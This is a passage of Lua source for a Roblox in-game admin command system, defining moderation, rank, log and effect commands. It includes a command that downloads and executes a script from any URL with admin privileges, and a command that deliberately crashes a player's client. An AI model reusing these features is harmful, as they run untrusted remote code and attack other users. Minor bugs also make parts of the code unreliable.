5688 AddMessage:Invoke(UserName, Message, Error)
5689 end)
5690 SendPressed.Event:connect(function(Text)
5691 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5692 IRC:AddChat(Player.Name, Text)
5693 end)
5694 end
5695 end};
5696
5697 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5698 local Players = STRING:Scan(Arguments[1], Speaker)
5699 for _,Player in pairs(Players) do
5700 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5701 if Type == "Leave" then
5702 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5703 elseif Type == "Join" then
5704 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5705 end
5706 end)
5707 PriChat.Chatted.Event:connect(function(UserName, Message)
5708 AddMessage:Invoke(UserName, Message)
5709 end)
5710 SendPressed.Event:connect(function(Text)
5711 PriChat.Chatted:Fire(Player.Name, Text)
5712 table.insert(PriChat.Chats, {Player.Name, Text})
5713 end)
5714 end
5715 end};
5716
5717 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5718 ExecuteSafe(Arguments[1], Speaker)
5719 end};
5720
5721 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5722 local Script = REMOTE:GetURL(Arguments[1], Player)
5723 if Script then
5724 ExecuteSafe(Script, Speaker)
5725 end
5726 end, Http = true};
5727
5728 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5729 local Time = tick()
5730 local Res = REMOTE:GetURL(Arguments[1], Player)
5731 if Res then
5732 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5733 end
5734 end, Http = true};
5735
5736 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5737 CORE:RemoveAdmin(Speaker)
5738 end};
5739
5740 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5741 for _,Player in pairs(Server.Players:GetPlayers()) do
5742 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5743 end
5744 end};
5745
5746 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5747 local Players = STRING:Scan(Arguments[1], Speaker)
5748 local Debt = nil
5749 for _,Player in pairs(Players) do
5750 if not Debt then
5751 Debt = GUI:ShowDebtStats(Player)
5752 else
5753 GUI:ShowDebtStats(Player, Debt)
5754 end
5755 end
5756 end, Http = true};
5757
5758 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5759 local Players = STRING:Scan(Arguments[1], Speaker)
5760 for _,Player in pairs(Players) do
5761 GUI:CreateHUD(Player)
5762 end
5763 end};
5764
5765 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5766 local Players = STRING:Scan(Arguments[1], Speaker)
5767 for _,Player in pairs(Players) do
5768 if Player:FindFirstChild("PlayerGui") then
5769 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5770 if HUD then HUD:Destroy() end
5771 end
5772 end
5773 end};
5774
5775 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5776 local Players = STRING:Scan(Arguments[1], Speaker)
5777 GUI:Vote(Speaker, Players, Arguments[2], 30)
5778 end};
5779
5780 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5781 local Players = STRING:Scan(Arguments[1], Speaker)
5782 for _,Player in pairs(Players) do
5783 CORE:ExecuteResource("Bomb", Player.Character)
5784 end
5785 end};
5786
5787 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5788 local Players = STRING:Scan(Arguments[1], Speaker)
5789 for _,Player in pairs(Players) do
5790 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5791 CORE:RestoreCamera(Player)
5792 end
5793 end};
5794
5795 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5796 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5797 CORE:RestoreCamera(Speaker)
5798 end};
5799
5800 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5801 local Players1 = STRING:Scan(Arguments[1], Speaker)
5802 local Players2 = STRING:Scan(Arguments[2], Speaker)
5803 for _,Player1 in pairs(Players1) do
5804 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5805 for _,Player2 in pairs(Players2) do
5806 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5807 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5808 end
5809 end
5810 end
5811 end
5812 end};
5813
5814 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5815 local Players = STRING:Scan(Arguments[1], Speaker)
5816 for _,Player in pairs(Players) do
5817 Player:LoadCharacter()
5818 end
5819 end};
5820
5821 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5822 local Players = STRING:Scan(Arguments[1], Speaker)
5823 for _,Player in pairs(Players) do
5824 CORE:RestoreCamera(Player)
5825 end
5826 end};
5827
5828 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5829 local Players = STRING:Scan(Arguments[1], Speaker)
5830 for _,Player in pairs(Players) do
5831 CORE:Jail(Player)
5832 end
5833 end};
5834
5835 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5836 local Players = STRING:Scan(Arguments[1], Speaker)
5837 for _,Player in pairs(Players) do
5838 CORE:UnJail(Player)
5839 end
5840 end};
5841
5842 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5843 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5844 end};
5845
5846 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5847 SOUND:StopSpeaking()
5848 end};
5849
5850 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5851 local Players = STRING:Scan(Arguments[1], Speaker)
5852 local Compile = {}
5853 for Num,Player in pairs(Players) do
5854 local PlayerRank = RANK:GetRank(Player)
5855 local PlayerInfo = ClientInfo[Player.Name]
5856 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5857 table.insert(Compile, "User ID: "..Player.UserId)
5858 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5859 table.insert(Compile, "Rank: "..PlayerRank)
5860
5861 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5862 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5863 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5864 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5865 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5866 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5867 if PlayerInfo.Benchmark then
5868 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5869 end
5870 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5871 end
5872 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5873 end};
5874
5875 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5876 if tonumber(Arguments[2]) then
5877 local Players = STRING:Scan(Arguments[1], Speaker)
5878 for _,Player in pairs(Players) do
5879 coroutine.wrap(function()
5880 if Player.Character then
5881 table.insert(LoopKills, Player.Name)
5882 local Loop = nil
5883 local PrevChar = nil
5884
5885 for i = 1,tonumber(Arguments[2]) do
5886 local Char = Player.Character
5887 if PrevChar and PrevChar ~= Char then
5888 PrevChar:Destroy()
5889 end
5890 PrevChar = Char
5891 local CanDie = true
5892 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5893 if CanDie == false then
5894 break
5895 end
5896 ypcall(function() Char.Parent = Server.Lighting end)
5897 wait(0.1)
5898 ypcall(function() Char.Parent = Server.Workspace end)
5899 wait(0.1)
5900 end
5901 end
5902 end)()
5903 end
5904 else
5905 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5906 end
5907 end};
5908
5909 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5910 local Players = STRING:Scan(Arguments[1], Speaker)
5911 for _,Player in pairs(Players) do
5912 for Num,Name in pairs(LoopKills) do
5913 if Player.Name == Name then
5914 table.remove(LoopKills, Num)
5915 end
5916 end
5917 end
5918 end};
5919
5920 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5921 SOUND:PlayGlobalSound(Arguments[1])
5922 end};
5923
5924 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5925 SOUND:StopGlobalSound()
5926 SOUND:ClearInfo()
5927 end};
5928
5929 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5930 local Pitch = tonumber(Arguments[1])
5931 if not Pitch then Pitch = 1 end
5932 if Sound then
5933 Sound.Pitch = Pitch
5934 end
5935 end};
5936
5937 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5938 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5939 local Items = MARKET:SearchItem(9, Arguments[1])
5940 if Items then
5941 if #Items ~= 0 then
5942 local List,Correlate = {},{}
5943 for Num,Info in pairs(Items) do
5944 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5945 table.insert(List, Display)
5946 Correlate[Display] = Info.AssetId
5947 end
5948 CloseGui:Invoke()
5949
5950 local CanClick = true
5951 if Rank == "Member" then CanClick = false end
5952 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5953 Clicked.Event:connect(function(ClickName)
5954 local OldSoundId = nil
5955 SOUND:StopGlobalSound()
5956 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5957 SOUND:PlayGlobalSound(Correlate[ClickName])
5958 end
5959 end)
5960 else
5961 CloseGui:Invoke()
5962 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5963 end
5964 else
5965 CloseGui:Invoke()
5966 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5967 end
5968 end, Http = true};
5969
5970 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5971 local Players = STRING:Scan(Arguments[1], Speaker)
5972 for _,Player in pairs(Players) do
5973 if Player.Character then
5974 CORE:ExecuteResource("Gun", Player.Character)
5975 end
5976 end
5977 end};
5978
5979 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5980 local Players = STRING:Scan(Arguments[1], Speaker)
5981 for _,Player in pairs(Players) do
5982 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5983 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5984 Player.Character.Humanoid.WalkSpeed = 0
5985 Player.Character.Torso.Anchored = true
5986 coroutine.wrap(function()
5987 local OldCFrame = Player.Character.Torso.CFrame
5988 for i = 0,8,0.1 do
5989 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5990 wait()
5991 end
5992 Player.Character.Torso.Anchored = false
5993 Player.Character:BreakJoints()
5994 CORE:InvisiblePlayer(Player)
5995 end)()
5996 end
5997 end
5998 end};
5999
6000 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6001 local Players = STRING:Scan(Arguments[1], Speaker)
6002 for _,Player in pairs(Players) do
6003 CORE:AnchorPlayer(Player)
6004 end
6005 end};
6006
6007 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6008 local Players = STRING:Scan(Arguments[1], Speaker)
6009 for _,Player in pairs(Players) do
6010 CORE:UnanchorPlayer(Player)
6011 end
6012 end};
6013
6014 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6015 local Players = STRING:Scan(Arguments[1], Speaker)
6016 for _,Player in pairs(Players) do
6017 CORE:InvisiblePlayer(Player)
6018 end
6019 end};
6020
6021 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6022 local Players = STRING:Scan(Arguments[1], Speaker)
6023 for _,Player in pairs(Players) do
6024 CORE:VisiblePlayer(Player)
6025 end
6026 end};
6027
6028 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6029 local Players = STRING:Scan(Arguments[1], Speaker)
6030 for _,Player in pairs(Players) do
6031 if Player.Character and Player.Character:FindFirstChild("Torso") then
6032 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6033 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6034 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6035 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6036 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6037 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6038 Fly:Play()
6039 local Touched = false
6040 coroutine.wrap(function()
6041 repeat wait(0.1)
6042 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6043 until not Ast or Ast.Parent == nil or Touched == true
6044 end)()
6045 Ast.Touched:connect(function(Part)
6046 if Touched == false then
6047 Touched = true
6048 Part:BreakJoints()
6049 local Boom = Instance.new("Explosion", Workspace)
6050 Boom.Position = Ast.Position
6051 Boom.BlastPressure = 1000000
6052 Boom.BlastRadius = 30
6053 Fire.Heat = 0
6054 Smoke.RiseVelocity = 0
6055 Fly:Stop()
6056 BoomSound:Play()
6057 coroutine.wrap(function()
6058 wait(3)
6059 BoomSound:Stop()
6060 if Ast and Ast.Parent ~= nil then
6061 Ast:Destroy()
6062 end
6063 end)()
6064 end
6065 end)
6066 end
6067 end
6068 end};
6069
6070 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6071 local Success = {}
6072 local Players = STRING:Scan(Arguments[1], Speaker)
6073 for _,Player in pairs(Players) do
6074 local PlayerRank = RANK:GetRank(Player)
6075 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6076 CORE:Kick(Player)
6077 table.insert(Success, Player)
6078 end
6079 end
6080 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6081 end};
6082
6083 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6084 local Success = {}
6085 local Players = STRING:Scan(Arguments[1], Speaker)
6086 for _,Player in pairs(Players) do
6087 local PlayerRank = RANK:GetRank(Player)
6088 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6089 RANK:RemoveRank(Player)
6090 table.insert(Settings.Ranks.Banned, Player.Name)
6091 CORE:Kick(Player)
6092 table.insert(Success, Player)
6093 end
6094 end
6095 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6096 end};
6097
6098 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6099 local Success = {}
6100 local Players = STRING:Scan(Arguments[1], Speaker)
6101 for _,Player in pairs(Players) do
6102 local PlayerRank = RANK:GetRank(Player)
6103 if PlayerRank ~= "Owner" then
6104 RANK:RemoveRank(Player)
6105 table.insert(Settings.Ranks.Crashed, Player.Name)
6106 CORE:Crash(Player)
6107 table.insert(Success, Player)
6108 end
6109 end
6110 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6111 end};
6112
6113 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6114 local Success = {}
6115 local Players = STRING:Scan(Arguments[1], Speaker)
6116 for _,Player in pairs(Players) do
6117 local PlayerRank = RANK:GetRank(Player)
6118 if PlayerRank ~= "Owner" then
6119 RANK:RemoveRank(Player)
6120 table.insert(Settings.Ranks.Muted, Player.Name)
6121 GUI:CoreGui(Player, "Chat", false)
6122 table.insert(Success, Player)
6123 end
6124 end
6125 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6126 end};
6127
6128 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6129 local Players = STRING:Scan(Arguments[1], Speaker)
6130 if #Players > 0 then
6131 local Success = {}
6132 for _,Player in pairs(Players) do
6133 local RankName,RankNum = RANK:GetRank(Player)
6134 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6135 if not RANK:IsSupremeOwner(Player) then
6136 if RankName == "Muted" then
6137 GUI:CoreGui(Player, "Chat", true)
6138 end
6139 if RankNum > 0 then
6140 GUI:TellNotAdmin(Player)
6141 end
6142 RANK:RemoveRank(Player)
6143 table.insert(Success, Player)
6144 end
6145 end
6146 end
6147 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6148 else
6149 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6150 if Player then
6151 local RankNum = RANK:ConvertRank(PlayerRank)
6152 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6153 if not RANK:IsSupremeOwner(Player) then
6154 RANK:RemoveRank(Player)
6155 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6156 end
6157 end
6158 end
6159 end
6160 end};
6161
6162 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6163 local Players = STRING:Scan(Arguments[1], Speaker)
6164 if #Players > 0 then
6165 local Success = {}
6166 for _,Player in pairs(Players) do
6167 local PlayerRank,RankNum = RANK:GetRank(Player)
6168 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6169 RANK:RemoveRank(Player)
6170 table.insert(Settings.Ranks.Member, Player.Name)
6171 GUI:TellAdmin(Player)
6172 table.insert(Success, Player)
6173 end
6174 end
6175 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6176 else
6177 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6178 if Player then
6179 local RankNum = RANK:ConvertRank(PlayerRank)
6180 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6181 if not RANK:IsSupremeOwner(Player) then
6182 RANK:RemoveRank(Player)
6183 table.insert(Settings.Ranks.Member, Player)
6184 end
6185 end
6186 else
6187 RANK:RemoveRank(Arguments[1])
6188 table.insert(Settings.Ranks.Member, Arguments[1])
6189 end
6190 end
6191 end};
6192
6193 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6194 local Players = STRING:Scan(Arguments[1], Speaker)
6195 if #Players > 0 then
6196 local Success = {}
6197 for _,Player in pairs(Players) do
6198 local PlayerRank,RankNum = RANK:GetRank(Player)
6199 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6200 RANK:RemoveRank(Player)
6201 table.insert(Settings.Ranks.Admin, Player.Name)
6202 GUI:TellAdmin(Player)
6203 table.insert(Success, Player)
6204 end
6205 end
6206 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6207 else
6208 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6209 if Player then
6210 local RankNum = RANK:ConvertRank(PlayerRank)
6211 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6212 if not RANK:IsSupremeOwner(Player) then
6213 RANK:RemoveRank(Player)
6214 table.insert(Settings.Ranks.Admin, Player)
6215 end
6216 end
6217 else
6218 RANK:RemoveRank(Arguments[1])
6219 table.insert(Settings.Ranks.Admin, Arguments[1])
6220 end
6221 end
6222 end};
6223
6224 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6225 local Players = STRING:Scan(Arguments[1], Speaker)
6226 if RANK:IsSupremeOwner(Speaker) then
6227 if #Players > 0 then
6228 local Success = {}
6229 for _,Player in pairs(Players) do
6230 if not RANK:IsSupremeOwner(Player) then
6231 RANK:RemoveRank(Player)
6232 table.insert(Settings.Ranks.Owner, Player.Name)
6233 GUI:TellAdmin(Player)
6234 table.insert(Success, Player)
6235 end
6236 end
6237 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6238 else
6239 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6240 if Player then
6241 local RankNum = RANK:ConvertRank(PlayerRank)
6242 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6243 if not RANK:IsSupremeOwner(Player) then
6244 RANK:RemoveRank(Player)
6245 table.insert(Settings.Ranks.Owner, Player)
6246 end
6247 end
6248 else
6249 RANK:RemoveRank(Arguments[1])
6250 table.insert(Settings.Ranks.Owner, Arguments[1])
6251 end
6252 end
6253 end
6254 end};
6255
6256 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6257 local TableStorage = {}
6258 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6259 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6260 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6261 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6262 end};
6263
6264 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6265 local TableStorage = {}
6266 for _,Player in pairs(Server.Players:GetChildren()) do
6267 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6268 if ValidAdmin then
6269 if PlayerRank == "Owner" then
6270 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6271 else
6272 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6273 end
6274 end
6275 end
6276 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6277 end};
6278
6279 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6280 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6281 end};
6282
6283 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6284 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6285 end};
6286
6287 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6288 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6289 end};
6290
6291 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6292 local TableStorage = {}
6293 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6294 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6295 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6296 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6297 end};
6298
6299 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6300 local TableStorage = {}
6301 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6302 for Num,PlayerName in pairs(PlayerNames) do
6303 if PlayerRank == "Owner" then
6304 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6305 else
6306 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6307 end
6308 end
6309 end
6310 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6311 end};
6312
6313 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6314 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6315 end};
6316
6317 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6318 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6319 end};
6320
6321 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6322 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6323 end};
6324
6325 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6326 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6327 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6328 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6329 end};
6330
6331 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6332 CommandLogs = {}
6333 end};
6334
6335 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6336 ChatLogs = {}
6337 end};
6338
6339 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6340 IRC.Logs = {}
6341 end};
6342
6343 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6344 CommandLogs = {}
6345 ChatLogs = {}
6346 IRC.Logs = {}
6347 end};
6348
6349 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6350 Server.GDS:SetAsync("ExploitLog", {})
6351 end};
6352
